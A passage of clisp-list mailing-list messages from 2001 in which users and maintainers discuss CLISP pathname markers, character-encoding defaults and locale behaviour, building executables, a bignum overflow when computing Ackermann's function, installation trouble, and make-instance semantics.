with the standard way of implementing it.

When I said that the standard didn't require these to work, I was
referring to the part that says

  Supplying any non-string, including any of the symbols listed below,
  to a file system for which it does not make sense signals an error
  of type file-error. For example, Unix does not support
  :wild-inferiors in most implementations.

And ".." at least could be a problem in a filesystem that allows files
to be named ".." (like the Macintosh?  I know MCL understands :UP but
I don't remember its namestrings ever containing "..").


John Wiseman



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> * In message <NDBBIAAEHKEHKBJDNFKFCEEDFFAA.wiseman@inetmi.com>
> * On the subject of "RE: [clisp-list] make-pathname; directory components"
> * Sent on Mon, 1 Oct 2001 15:58:22 -0500
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>
> Well, the standard does explicitly mention the use of the :WILD,
> :WILD-INFERIORS, :UP, and :BACK "special markers" inside directory
> components, and what each symbol means.

which page?  I cannot find :up and :back.

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> * In message <NDBBIAAEHKEHKBJDNFKFCEEDFFAA.wiseman@inetmi.com>
> * On the subject of "RE: [clisp-list] make-pathname; directory components"
> * Sent on Mon, 1 Oct 2001 15:58:22 -0500
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>
> Well, the standard does explicitly mention the use of the :WILD,
> :WILD-INFERIORS, :UP, and :BACK "special markers" inside directory
> components, and what each symbol means.

I see - in 19.2.2.4.3.
okay, I will do this.

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>>> But in my case (Debian system), the fr locale prexisted 
>>> (in /usr/share/locale) for some GNU utilities, 
>>> so it should have been found ?
>>
>>The locale is in /usr/lib/locale, and in glibc-2.2 there is no "fr"
>>locale. (What kind of monetary information would it contain? French or
>>Swiss or Luxemburgish Franc?)
>>
>>What you see in /usr/share/locale are the translation catalogs, where
>>a catalog named "fr" acts as fallback for all locales starting in
>>"fr_": "fr_FR", "fr_CH" etc.
>>
>>Bruno

But shouldn't clisp installation warn the user
if there is no locale for the proposed messages translation ?

And now another bug related to internationalization:

When there is a pathname in $HOME with an accented letter
(in coding iso-8859-1), clisp 2.27 gives the message:

*** - invalid byte #x81 in CHARSET:ASCII conversion

It is related to looking for $HOME/.clisprc, as the message disappears
when -norc option is given. It disappears also with option
-Epathname iso-8859-1.

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On Tue, Oct 02, 2001 at 11:36:51AM +0200, Bernard Urban wrote:

> And now another bug related to internationalization:
> 
> When there is a pathname in $HOME with an accented letter
> (in coding iso-8859-1), clisp 2.27 gives the message:
> 
> *** - invalid byte #x81 in CHARSET:ASCII conversion
> 
> It is related to looking for $HOME/.clisprc, as the message disappears
> when -norc option is given. It disappears also with option
> -Epathname iso-8859-1.
> 

Hi,

By default Clisp uses charset::ascii, with the result that you
observe.  You can cure this by dumping an image after setting
*terminal-encoding* *default-file-encoding* and *misc-encoding* to
charset:iso-8859-1.

(let ((encoding (make-encoding :charset charset:iso-8859-1 :line-terminator :unix)))
  (setf *terminal-encoding* encoding
        *default-file-encoding* encoding
        *misc-encoding* encoding))

Replace your default image with the one you dumped.

I don't think it is a bug, as Clisp has to choose *some* default, and
ascii is probably the best bet.

Regards,
Peter
 
Ps. If you don't use unix, you obviously don't want the
:line-terminator bit (above).




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Peter Wood <peter.wood@worldonline.dk> writes:

> On Tue, Oct 02, 2001 at 11:36:51AM +0200, Bernard Urban wrote:
> 
> > And now another bug related to internationalization:
> > 
> > When there is a pathname in $HOME with an accented letter
> > (in coding iso-8859-1), clisp 2.27 gives the message:
> > 
> > *** - invalid byte #x81 in CHARSET:ASCII conversion
> > 
> > It is related to looking for $HOME/.clisprc, as the message disappears
> > when -norc option is given. It disappears also with option
> > -Epathname iso-8859-1.
> > 
> 
> Hi,
> 
> By default Clisp uses charset::ascii, with the result that you
> observe.  You can cure this by dumping an image after setting
> *terminal-encoding* *default-file-encoding* and *misc-encoding* to
> charset:iso-8859-1.
> 
> (let ((encoding (make-encoding :charset charset:iso-8859-1 :line-terminator :unix)))
>   (setf *terminal-encoding* encoding
>         *default-file-encoding* encoding
>         *misc-encoding* encoding))
> 
> Replace your default image with the one you dumped.
> 
> I don't think it is a bug, as Clisp has to choose *some* default, and
> ascii is probably the best bet.

First, clisp behaviour was ok, then I inadvertently created a file in
the HOME directory with an european accented letter in the name, and
clisp broke, even if clisp does not use at all this new file !
I do not think that it is normal for any software to change its
behaviour when an unrelated file is created.

So thank you for the advice, but for me this is a bug, which obviously
is triggered when clisp searches for $HOME/.clisprc by looking at all
filenames in $HOME.

Regards.

-- 

Bernard Urban


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I teach computer science using CLisp on a linux system.  Is there a
graphics package out there that I can use with CLisp?
Thanks, Randy Latimer,  rlatimer@tjhsst.edu




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> * In message <Pine.LNX.4.30.0110041511001.7007-100000@dragstrip.tjhsst.edu>
> * On the subject of "[clisp-list] CLisp Graphics?"
> * Sent on Thu, 4 Oct 2001 15:12:34 -0400 (EDT)
> * Honorable Randy Latimer <rlatimer@tjhsst.edu> writes:
>
> I teach computer science using CLisp on a linux system.  Is there a
> graphics package out there that I can use with CLisp?

your options are many (see http://clisp.cons.org/resources.html):
 SLIK, Garnet, with-wish, GTK...
CLISP comes with CLX, so you can use it as well as anything which runs
 on it (CLIO? CLUE?)

you can also use your browser as the GUI (see CLISP inspect).

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> * In message <3B965BA9.26098.3002410B@localhost>
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> * Sent on Wed, 5 Sep 2001 17:06:49 +0200
> * Honorable "Rolf Wester" <wester@ilt.fhg.de> writes:
>
> (defun read-file (name)
>   (let ((x (make-array '(1046529) :element-type 'single-float :initial-element 0.0 :fill-pointer 0 :adjustable t))
> 	    (y (make-array '(1046529) :element-type 'single-float :initial-element 0.0 :fill-pointer 0 :adjustable t))
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>        (with-open-file (in name)
> 	     (do ((n 0 (+ 1 n))
>               (xx (read in nil 'eof) (read in nil 'eof))
>               (yy (read in nil 'eof) (read in nil 'eof))
>               (zz (read in nil 'eof) (read in nil 'eof)))
> 			 ((eql zz 'eof)) 
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>          (values x y z)))
> (compile 'read-file)
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>    (setq result (multiple-value-call #'list (read-file "test2.txt")))
>  nil)
> 
> The last number printed before the error message was 223346. 

I can no longer reproduce this with the current CVS CLISP.

could you please be so kind as to get the CLISP sources from the CVS,
build them and try your code again?

thanks a lot!

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Hello CavaleiroZ,

Sunday, October 07, 2001, 11:20:46 AM, you wrote:

CavaleiroZ> Is there any way to build a
CavaleiroZ> standalone excutable file using CLISP?
No.

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Arseny Slobodjuck schrieb:
> Sunday, October 07, 2001, 11:20:46 AM, you wrote:
> CavaleiroZ> Is there any way to build a
> CavaleiroZ> standalone excutable file using CLISP?

> No.

sorry. that's wrong. There are many ways. Some ways are described in the docs.

you just have to create a loader, which initializes clisp with your image.
see clisp.c

under windows you can also embed the lisp image inside the exe, 
as it is done in cormanlisp for example. (one-file-exe in a custom binary
resource)
no big deal.
or you can undump an exe with the image data as it is done in emacs/xemacs, 
similar to most lisps. 

under unix you can follow impnotes.html#quickstart
the easiest is something like:

#!/bin/sh
exec clisp <<EOF
(lisp-form)
(another-lisp-form)
(yet-another-lisp-form)
EOF
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> Hello CavaleiroZ,
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> Sunday, October 07, 2001, 11:20:46 AM, you wrote:
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> CavaleiroZ> Is there any way to build a
> CavaleiroZ> standalone excutable file using CLISP?
> No.

Well.  Define "standalone".  You can always construct a .BAT file and
run it from there.  Would this be ok?  If not, why?

Cheers

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The maintainers of the ACL2 say that ACL2 will work on CLISP starting
with ACL 2.6 (the next version of ACL2, due out by the end of the year).

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Hello Marco,

Tuesday, October 09, 2001, 2:29:29 AM, you wrote:

>> CavaleiroZ> Is there any way to build a
>> CavaleiroZ> standalone excutable file using CLISP?
>> No.

Marco> Well.  Define "standalone".  You can always construct a .BAT file and
Marco> run it from there.  Would this be ok?  If not, why?

Reading the question with telepathic mode on I decided that standalone
executable mean simply 'binary native OS executable generated by
compiler from sources'. While one can always use clisp itself as a
stand (not so)alone executable it will not executable being built by user.

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> * In message <139.2b12429.28f107ee@aol.com>
> * On the subject of "[clisp-list] How do I make .exe files in CLISP?"
> * Sent on Sat, 6 Oct 2001 21:20:46 EDT
> * Honorable CavaleiroZ@aol.com writes:
>
> Is there any way to build a standalone excutable file using CLISP?

I don't think that the notion "standalone executable file" makes sense.
There have been no such things since DLL/SO (dynamically linked
libraries/shared objects) have been introduced.

Please see <http://clisp.cons.org/impnotes.html#quickstart> for the
answer to the question you meant to ask :-)

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I have programmed a partially iterative function to calculate Ackermann's 
function. The iterative part is for cases of m=0 through m=3. Anything 
above that is done with recursion. I have compiled the function. A(4, 2) 
can be calculated in a fraction of a second. The result is a number with 
more than 19,000 digits. However, A(4, 3) gives me an error. It says:

*** - overflow during multiplication of large numbers

This occurs within a second of executing the function. I am doing this on 
Debian Linux, so I thought maybe the ulimit was getting in the way. ulimit 
is set to unlimited, and I have 320MBs of RAM. I thought maybe unlimited 
wasn't really unlimited, so I set it to 300MB and tried again with the same 
results.

While it is possible A( 4, 3) would cause an overflow, I don't think it's 
taking enough time to find out, given how quickly A(4, 2) is computed. Can 
anyone give me some advice. Thanks!

Ben Pharr



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I tried starting with:

clisp -m 300MB

then

(load "ackermann.fas")

then

(ackermann 4 3)

It still gives me the same error. Any more ideas?

Ben Pharr


At 03:10 PM 10/9/01 -0500, you wrote:

>look at the "-m" on startup...
>
>Randy
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>I have programmed a partially iterative function to calculate Ackermann's
>function. The iterative part is for cases of m=0 through m=3. Anything
>above that is done with recursion. I have compiled the function. A(4, 2)
>can be calculated in a fraction of a second. The result is a number with
>more than 19,000 digits. However, A(4, 3) gives me an error. It says:
>
>*** - overflow during multiplication of large numbers
>
>This occurs within a second of executing the function. I am doing this on
>Debian Linux, so I thought maybe the ulimit was getting in the way. ulimit
>is set to unlimited, and I have 320MBs of RAM. I thought maybe unlimited
>wasn't really unlimited, so I set it to 300MB and tried again with the same
>results.
>
>While it is possible A( 4, 3) would cause an overflow, I don't think it's
>taking enough time to find out, given how quickly A(4, 2) is computed. Can
>anyone give me some advice. Thanks!
>
>Ben Pharr
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Ackermann's function grows fast.
No, not just fast, but _VERY FAST_.
A(4,1) = 2^16 - 3
A(4,2) ~ 2^(A(4,1))
A(4,3) ~ 2^(A(4,2))

if you to represent a number X with log X bits, then A(4,1) is a
16-bit (2 byte) number, while A(4,2) is an 8kB number.
now, A(4,3) is a 2^(2^16) - bit number.
there isn't a word for this monster.
there isn't enough matter in the observable universe to record it.
if google is 10^100 (~2^333), then A(4,3) is about google^197.
there are fewer than a google particles in the universe.

I hope I am sufficiently clear.


> * In message <5.1.0.14.0.20011009145402.00a6c410@sunset.olemiss.edu>
> * On the subject of "[clisp-list] overflow during multiplication of large numbers"
> * Sent on Tue, 09 Oct 2001 15:03:16 -0500
> * Honorable Ben Pharr - Lists <ben-lists@benpharr.com> writes:
>
> I have programmed a partially iterative function to calculate
> Ackermann's function. The iterative part is for cases of m=0 through
> m=3. Anything above that is done with recursion. I have compiled the
> function. A(4, 2) can be calculated in a fraction of a second. The
> result is a number with more than 19,000 digits. However, A(4, 3)
> gives me an error. It says:
> 
> *** - overflow during multiplication of large numbers
> 
> This occurs within a second of executing the function. I am doing this
> on Debian Linux, so I thought maybe the ulimit was getting in the
> way. ulimit is set to unlimited, and I have 320MBs of RAM. I thought
> maybe unlimited wasn't really unlimited, so I set it to 300MB and
> tried again with the same results.
> 
> While it is possible A( 4, 3) would cause an overflow, I don't think
> it's taking enough time to find out, given how quickly A(4, 2) is
> computed. Can anyone give me some advice. Thanks!



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It might not be the best method, but use the "top" command and check the
memory usage. 

It should be available on your unix box....



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I tried starting with:

clisp -m 300MB

then

(load "ackermann.fas")

then

(ackermann 4 3)

It still gives me the same error. Any more ideas?

Ben Pharr


At 03:10 PM 10/9/01 -0500, you wrote:

>look at the "-m" on startup...
>
>Randy
>
>-----Original Message-----
>From: Ben Pharr - Lists 
>[<mailto:ben-lists@benpharr.com>mailto:ben-lists@benpharr.com]
>Sent: Tuesday, October 09, 2001 3:03 PM
>To: clisp-list@lists.sourceforge.net
>Subject: [clisp-list] overflow during multiplication of large numbers
>
>I have programmed a partially iterative function to calculate Ackermann's
>function. The iterative part is for cases of m=0 through m=3. Anything
>above that is done with recursion. I have compiled the function. A(4, 2)
>can be calculated in a fraction of a second. The result is a number with
>more than 19,000 digits. However, A(4, 3) gives me an error. It says:
>
>*** - overflow during multiplication of large numbers
>
>This occurs within a second of executing the function. I am doing this on
>Debian Linux, so I thought maybe the ulimit was getting in the way. ulimit
>is set to unlimited, and I have 320MBs of RAM. I thought maybe unlimited
>wasn't really unlimited, so I set it to 300MB and tried again with the same
>results.
>
>While it is possible A( 4, 3) would cause an overflow, I don't think it's
>taking enough time to find out, given how quickly A(4, 2) is computed. Can
>anyone give me some advice. Thanks!
>
>Ben Pharr
>
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<P><FONT SIZE=3D2>It might not be the best method, but use the =
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<P><FONT SIZE=3D2>It should be available on your unix box....</FONT>
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<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Ben Pharr - Lists [<A =
HREF=3D"mailto:ben-lists@benpharr.com">mailto:ben-lists@benpharr.com</A>=
]</FONT>
<BR><FONT SIZE=3D2>Sent: Tuesday, October 09, 2001 3:35 PM</FONT>
<BR><FONT SIZE=3D2>To: clisp-list@lists.sourceforge.net</FONT>
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multiplication of large</FONT>
<BR><FONT SIZE=3D2>numbers</FONT>
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<P><FONT SIZE=3D2>I tried starting with:</FONT>
</P>

<P><FONT SIZE=3D2>clisp -m 300MB</FONT>
</P>

<P><FONT SIZE=3D2>then</FONT>
</P>

<P><FONT SIZE=3D2>(load &quot;ackermann.fas&quot;)</FONT>
</P>

<P><FONT SIZE=3D2>then</FONT>
</P>

<P><FONT SIZE=3D2>(ackermann 4 3)</FONT>
</P>

<P><FONT SIZE=3D2>It still gives me the same error. Any more =
ideas?</FONT>
</P>

<P><FONT SIZE=3D2>Ben Pharr</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>At 03:10 PM 10/9/01 -0500, you wrote:</FONT>
</P>

<P><FONT SIZE=3D2>&gt;look at the &quot;-m&quot; on startup...</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;Randy</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt;From: Ben Pharr - Lists </FONT>
<BR><FONT SIZE=3D2>&gt;[&lt;<A =
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<BR><FONT SIZE=3D2>&gt;Sent: Tuesday, October 09, 2001 3:03 PM</FONT>
<BR><FONT SIZE=3D2>&gt;To: clisp-list@lists.sourceforge.net</FONT>
<BR><FONT SIZE=3D2>&gt;Subject: [clisp-list] overflow during =
multiplication of large numbers</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;I have programmed a partially iterative function =
to calculate Ackermann's</FONT>
<BR><FONT SIZE=3D2>&gt;function. The iterative part is for cases of =
m=3D0 through m=3D3. Anything</FONT>
<BR><FONT SIZE=3D2>&gt;above that is done with recursion. I have =
compiled the function. A(4, 2)</FONT>
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result is a number with</FONT>
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me an error. It says:</FONT>
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<BR><FONT SIZE=3D2>&gt;Debian Linux, so I thought maybe the ulimit was =
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<BR><FONT SIZE=3D2>&gt;While it is possible A( 4, 3) would cause an =
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I've tried that and as best as I can tell lisp.run takes up 1.1% of my 
memory at it's maximum. I'm confused as to why it doesn't take longer (and 
more of my memory) to overflow.

Ben Pharr


At 03:43 PM 10/9/01 -0500, you wrote:

>It might not be the best method, but use the "top" command and check the 
>memory usage.
>
>It should be available on your unix box....



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At 04:35 PM 10/9/01 -0400, you wrote:
>Ackermann's function grows fast.
>No, not just fast, but _VERY FAST_.
>A(4,1) = 2^16 - 3
>A(4,2) ~ 2^(A(4,1))
>A(4,3) ~ 2^(A(4,2))
>
>if you to represent a number X with log X bits, then A(4,1) is a
>16-bit (2 byte) number, while A(4,2) is an 8kB number.
>now, A(4,3) is a 2^(2^16) - bit number.
>there isn't a word for this monster.
>there isn't enough matter in the observable universe to record it.
>if google is 10^100 (~2^333), then A(4,3) is about google^197.
>there are fewer than a google particles in the universe.
>
>I hope I am sufficiently clear.

So what you're trying to say is that it's a big number? :-)  Just kidding. 
I knew it was a large number, but I wasn't quite grasping HOW big. Thanks 
for explaining that to me.

I'm still not sure why it overflows without eating up more than 1.1% of my 
memory. Can anyone explain that to me? I realize it doesn't matter in this 
particular situation, but it might in the future.

Ben Pharr





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Ben Pharr - Lists wrote:

> So what you're trying to say is that it's a big number? :-)  Just 
> kidding. I knew it was a large number, but I wasn't quite grasping HOW 
> big. Thanks for explaining that to me.
> 
> I'm still not sure why it overflows without eating up more than 1.1% of 
> my memory. Can anyone explain that to me? I realize it doesn't matter in 
> this particular situation, but it might in the future.


It's possible (not being an expert on CLISP internals) that the bignum 
code inside of CLISP is smart enough to recognize when you give it 
operands that are far larger than it can ever hope to operate on.  So 
A(4,2) calculates quickly, is really huge, and it overflows some 
internal limit.

-Nathan



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At 05:57 PM 10/9/01 -0500, you wrote:
>Ben Pharr - Lists wrote:
>
>>So what you're trying to say is that it's a big number? :-)  Just 
>>kidding. I knew it was a large number, but I wasn't quite grasping HOW 
>>big. Thanks for explaining that to me.
>>I'm still not sure why it overflows without eating up more than 1.1% of 
>>my memory. Can anyone explain that to me? I realize it doesn't matter in 
>>this particular situation, but it might in the future.
>
>
>It's possible (not being an expert on CLISP internals) that the bignum 
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>operands that are far larger than it can ever hope to operate on.  So 
>A(4,2) calculates quickly, is really huge, and it overflows some internal 
>limit.
>
>-Nathan

That was my guess too, but I was wondering if someone knew that was the case.

Ben Pharr



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[I might be slightly missing the point here so please excuse any incorrect
terminology]

On Tue, Oct 02, 2001 at 03:32:26PM +0200, Peter Wood wrote:

> I don't think it is a bug, as Clisp has to choose *some* default, and
> ascii is probably the best bet.

Is there a reason why a default that allows characters 0-255 can't be used?
I'm finding that with some code I'm not really that concerned with which
charset I use, I simply want to be able to read some random source (a file
perhaps) and have it work without throwing an error because of the content
of that file.

Currently I'm having to prefix all my programs with code like this:

,----
| (let ((encoding (make-encoding :charset charset:iso-8859-1)))
|   (setq *default-file-encoding* encoding
|         *terminal-encoding*     encoding))
`----

I suppose, as you suggested, I should really dump an image with those values
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> * In message <20011010074047.G20855@hagbard.davep.org>
> * On the subject of "Re: [clisp-list] internationalization problem on clisp-2.27"
> * Sent on Wed, 10 Oct 2001 07:40:47 +0100
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> Given that, is it or might it be possible to specify a charset when
> building clisp?

yes - just edit config.lisp.

actually, there was a typo in init.lisp - a misspelling of
*terminal-encoding*.
if you fix it and rebuild, you would probably be fine.

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On Wed, Oct 10, 2001 at 09:22:54AM -0400, Sam Steingold wrote:

> > Given that, is it or might it be possible to specify a charset when
> > building clisp?
> 
> yes - just edit config.lisp.

I tried that by adding:

,----
| ;; I live in England.
| (let ((encoding (make-encoding :charset charset:iso-8859-1)))
|   (setq *default-file-encoding* encoding
|         *pathname-encoding*     encoding
|         *misc-encoding*         encoding
|         *terminal-encoding*     encoding))
`----

and then doing a rebuild (this was after doing a "make clean" and so on) but
it doesn't seem to have made any difference:

,----
| davep@hagbard:~$ clisp -K full -norc -q
| 
| [1]> *misc-encoding*
| #<ENCODING CHARSET:ASCII :UNIX>
| [2]>
`----

Is this what you were suggesting or did you mean something else?

> actually, there was a typo in init.lisp - a misspelling of
> *terminal-encoding*.
> if you fix it and rebuild, you would probably be fine.

Would that be "*T*GERMINAL-ENCODING*"? I fixed that as part of the above
rebuild but:

,----
| davep@hagbard:~$ clisp -K full -norc -q
| 
| [1]> (apropos "erminal-encoding")
| *T*GERMINAL-ENCODING*
| SYSTEM::*TERMINAL-ENCODING*                symbol-macro
| SYSTEM::SET-TERMINAL-ENCODING              function
| SYSTEM::TERMINAL-ENCODING                  function
| 
| [2]>
`----

Would a "make clean" not have been enough?

I fear that I'm missing something obvious and vital regarding this encoding
business. I've read the section in the impnotes but I have to admit that I'm
none the wiser about what's going on here.

What confuses me in all of this is what this encoding business aims to
provide. Is there something within the clisp documentation that outlines
this? All I do know is that there was a time in the past when clisp didn't
have a problem reading "8bit" data "out of the box" and that, these days, it
appears to have "problems" that require some fiddling before my code works.
I'm more than happy to accept that it's my lack of understanding but I'm
failing to find anything in the documentation that says why the default
would be to fail and throw an error.

Any explanations would be greatly appreciated.

All of the above tests were conducted with clisp 2.27.

,----
| davep@hagbard:~$ clisp --version
| GNU CLISP 2.27 (released 2001-07-17) (built 3211713097) (memory 3211713868)
`----

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> * In message <20011010160247.P20855@hagbard.davep.org>
> * On the subject of "Re: [clisp-list] internationalization problem on clisp-2.27"
> * Sent on Wed, 10 Oct 2001 16:02:47 +0100
> * Honorable Dave Pearson <davep@davep.org> writes:
>
> ,----
> | ;; I live in England.
> | (let ((encoding (make-encoding :charset charset:iso-8859-1)))
> |   (setq *default-file-encoding* encoding
> |         *pathname-encoding*     encoding
> |         *misc-encoding*         encoding
> |         *terminal-encoding*     encoding))
> `----
> 
> and then doing a rebuild (this was after doing a "make clean" and so on) but
> it doesn't seem to have made any difference:
> 
> ,----
> | davep@hagbard:~$ clisp -K full -norc -q
> | 
> | [1]> *misc-encoding*
> | #<ENCODING CHARSET:ASCII :UNIX>
> | [2]>
> `----

I assume that you did "make install" too: the above command will invoke
the installed version, not the development version.

> Is this what you were suggesting or did you mean something else?

yes, this is what I meant.

> > actually, there was a typo in init.lisp - a misspelling of
> > *terminal-encoding*.
> > if you fix it and rebuild, you would probably be fine.
> 
> Would that be "*T*GERMINAL-ENCODING*"? I fixed that as part of the
> above rebuild but:
> 
> ,----
> | davep@hagbard:~$ clisp -K full -norc -q
> | 
> | [1]> (apropos "erminal-encoding")
> | *T*GERMINAL-ENCODING*

okay, this is bad.  as long as you see this, you have not fixed the
problem. 

> | SYSTEM::*TERMINAL-ENCODING*                symbol-macro
> | SYSTEM::SET-TERMINAL-ENCODING              function
> | SYSTEM::TERMINAL-ENCODING                  function
> | 
> | [2]>
> `----
> 
> Would a "make clean" not have been enough?

it should have been.  you need to install though.  I always use a
separate build directory and the build/.clisp script there.

> All of the above tests were conducted with clisp 2.27.

Could you please try the current pre-test (cvs up)?


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On Wed, Oct 10, 2001 at 11:24:11AM -0400, Sam Steingold wrote:

> > ,----
> > | davep@hagbard:~$ clisp -K full -norc -q
> > | 
> > | [1]> *misc-encoding*
> > | #<ENCODING CHARSET:ASCII :UNIX>
> > | [2]>
> > `----
> 
> I assume that you did "make install" too: the above command will invoke
> the installed version, not the development version.

Yes, I did do a "make install".

> > ,----
> > | davep@hagbard:~$ clisp -K full -norc -q
> > | 
> > | [1]> (apropos "erminal-encoding")
> > | *T*GERMINAL-ENCODING*
> 
> okay, this is bad.  as long as you see this, you have not fixed the
> problem. 

It seems that a "make clean" wasn't enough for this. A "rm -r full" from the
build directory followed by a make seemed to solve this.

,----
| davep@hagbard:~$ clisp -K full -norc -q
| 
| [1]> (apropos "erminal-encoding")
| *TERMINAL-ENCODING*                        symbol-macro
| SYSTEM::SET-TERMINAL-ENCODING              function
| SYSTEM::TERMINAL-ENCODING                  function
`----

Note that this rebuild (after the "rm -r full") made no difference to the
problem of the encoding settings in config.lisp failing to come thru in the
final image. Note, also, that other settings from config.lisp (loads paths,
site names, etc...) do come thru so config.lisp would appear to be read and
used.

> > All of the above tests were conducted with clisp 2.27.
> 
> Could you please try the current pre-test (cvs up)?

Unfortunately I'm on the end of a dial-up connection so that makes for a
prohibitively large download because SF's CVS server appears to be
appallingly slow to speak to at the moment. IOW, no, not any time soon
(unless there's a source tarball available from a good download site?).

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> * In message <20011010171807.Q20855@hagbard.davep.org>
> * On the subject of "Re: [clisp-list] internationalization problem on clisp-2.27"
> * Sent on Wed, 10 Oct 2001 17:18:07 +0100
> * Honorable Dave Pearson <davep@davep.org> writes:
>
> Note that this rebuild (after the "rm -r full") made no difference to
> the problem of the encoding settings in config.lisp failing to come
> thru in the final image. Note, also, that other settings from
> config.lisp (loads paths, site names, etc...) do come thru so
> config.lisp would appear to be read and used.

I was wrong - the encoding variables (actually, symbol-macro places) are
_not_ saved into the memory images.

This is a feature, not a bug: since they are initialized from the
environment (see <http://clisp.cons.org/clisp.html#opt-enc>), they
should not be "set in stone" (if I am wrong again, and this _is_ a bug,
Bruno will correct me :-).

please investigate the values if the environment variables 
LC_ALL, LC_CTYPE, LANG.

I do not set them and I have
$ clisp -q -norc -x '*misc-encoding*'
#<ENCODING CHARSET:ISO-8859-1 :UNIX>
$

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On Wed, Oct 10, 2001 at 01:42:18PM -0400, Sam Steingold wrote:

> This is a feature, not a bug: since they are initialized from the
> environment (see <http://clisp.cons.org/clisp.html#opt-enc>), they should
> not be "set in stone" (if I am wrong again, and this _is_ a bug, Bruno
> will correct me :-).

Ok, that sort of makes sense. 

Given this, what's the right thing to do if I want to write some code that
reads a random file that might contain data outside of the range considered
to be ASCII and I want it to run in a random environment? How can I write
such code so that it doesn't blow up if accented characters (for example)
appear in a file it reads?

Am I doing the right thing now by setting the encoding to a random 8bit
encoding (I say random because, although ISO-8859-1 makes sense for me, it
might not make sense for someone else). Is there a plain "8bit" encoding?
Does that question make sense? Should/could the default encodings be
something that can handle 8bit? If not, why not?

> please investigate the values if the environment variables 
> LC_ALL, LC_CTYPE, LANG.
> 
> I do not set them and I have
> $ clisp -q -norc -x '*misc-encoding*'
> #<ENCODING CHARSET:ISO-8859-1 :UNIX>

It's not clear what you mean when you say "them" here. Are you talking about
the environment variables or are you talking about the encoding variables
within clisp itself?

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> * In message <20011011073935.T20855@hagbard.davep.org>
> * On the subject of "Re: [clisp-list] internationalization problem on clisp-2.27"
> * Sent on Thu, 11 Oct 2001 07:39:35 +0100
> * Honorable Dave Pearson <davep@davep.org> writes:
>
> Given this, what's the right thing to do if I want to write some code
> that reads a random file that might contain data outside of the range
> considered to be ASCII and I want it to run in a random environment?
> How can I write such code so that it doesn't blow up if accented
> characters (for example) appear in a file it reads?

(setq *default-file-encoding* charset:utf-8)
or
(open ... :external-format charset:utf-8)

see
<http://clisp.cons.org/impnotes.html#open>
<http://clisp.cons.org/impnotes.html#def-file-enc>
<http://clisp.cons.org/impnotes.html#extfmt>

> Am I doing the right thing now by setting the encoding to a random
> 8bit encoding (I say random because, although ISO-8859-1 makes sense
> for me, it might not make sense for someone else). Is there a plain
> "8bit" encoding?  Does that question make sense? Should/could the
> default encodings be something that can handle 8bit? If not, why not?

charset:utf-8 comes to "plain 8bit" as close as I can imagine.
you should ask someone else though - I am no expert on these matters.

> > please investigate the values if the environment variables
> > LC_ALL, LC_CTYPE, LANG.
> >
> > I do not set them and I have
> > $ clisp -q -norc -x '*misc-encoding*'
> > #<ENCODING CHARSET:ISO-8859-1 :UNIX>
>
> It's not clear what you mean when you say "them" here. Are you talking
> about the environment variables or are you talking about the encoding
> variables within clisp itself?

both - "clisp -norc" always invokes the default vanilla CLISP image.

$ unset LC_ALL LC_CTYPE LANG
$ clisp -q -norc -x '*misc-encoding*'
#<ENCODING CHARSET:ISO-8859-1 :UNIX>
$

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On Thu, Oct 11, 2001 at 09:39:05AM -0400, Sam Steingold wrote:

> $ unset LC_ALL LC_CTYPE LANG
> $ clisp -q -norc -x '*misc-encoding*'
> #<ENCODING CHARSET:ISO-8859-1 :UNIX>

Curious, I wonder why I get something different then?

,----
| davep@hagbard:~$ unset LC_ALL LC_CTYPE LANG
| davep@hagbard:~$ clisp -q -norc -x '*misc-encoding*'
| #<ENCODING CHARSET:ASCII :UNIX>
`----

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Dave Pearson wrote:

> On Thu, Oct 11, 2001 at 09:39:05AM -0400, Sam Steingold wrote:
> 
> 
>>$ unset LC_ALL LC_CTYPE LANG
>>$ clisp -q -norc -x '*misc-encoding*'
>>#<ENCODING CHARSET:ISO-8859-1 :UNIX>
>>
> 
> Curious, I wonder why I get something different then?
> 
> ,----
> | davep@hagbard:~$ unset LC_ALL LC_CTYPE LANG
> | davep@hagbard:~$ clisp -q -norc -x '*misc-encoding*'
> | #<ENCODING CHARSET:ASCII :UNIX>
> `----

I can confirm Dave's result on Debian GNU/LINUX sid. My locale is
normally set to zh_CN.GB2312. I guess that's controlled by glibc setings.



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Respected Sir,

I have downloaded a copy of CLISP from the site gnu.org. It gives me =
errors while starting=20

1) no initialisation file specifiled

2)no installation directory specified

also I am not able to use defun macro. The readme file is not in English =
so it is not possible to read it.

kindly clarify my queries at the earliest.

Thanking You,

Smita Arora
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<DIV><FONT size=3D2>1) no initialisation file specifiled</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>2)no installation directory specified</FONT></DIV>
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What operating system are you on? On Linux the CLISP installation was
fairly straightforward. All I had to do after downloading the clisp
source tarball was login as root, unpack it, and run the following
commands:

./configure with-gcc-wall
cd with-gcc-wall
./makemake > Makefile
make config.lisp
make
make test
make testsuite
make install

This was on Red Hat 7.1.

Bye,

Neil

On Mon, 15 Oct 2001 rkarora@wilnetonline.net wrote:

> Respected Sir,
>
> I have downloaded a copy of CLISP from the site gnu.org. It gives me errors while starting
>
> 1) no initialisation file specifiled
>
> 2)no installation directory specified
>
> also I am not able to use defun macro. The readme file is not in English so it is not possible to read it.
>
> kindly clarify my queries at the earliest.
>
> Thanking You,
>
> Smita Arora
> (sm_arora@yahoo.com)
>



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I don't know how you managed to install your software, my installation 
contains a readme in english. There is
even a readme.es in spanish :-)

Did you find a subdirectory doc, it contains a lot of valuable information 
that you might study.

If on windows try lisp.exe -B . -M lispinit.mem
on unix ./lisp.run -B . -M lispinit.mem

I can assure you that defun works

Un saludo

Karsten



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Hello,

I have the following problem in Clisp 2.27 Windows ME, but I assume it 
happens on every platform.

make-instance seem to return whatever initialize-instance returns, even if 
it is totally bogus
The following code illustrates the problem, works fine in ACL and LW but 
warns in CLISP

Un saludo

Karsten

(defclass foo ()
   ()
   )

(defclass bar ()
   ()
   )

(defmethod initialize-instance ((me foo) &rest initargs)
   (declare (ignore initargs))
   (make-instance 'bar))

(defclass foofoo (foo)
   ()
   )

(defmethod initialize-instance ((me foofoo) &rest initargs)
   (declare (ignore initargs))
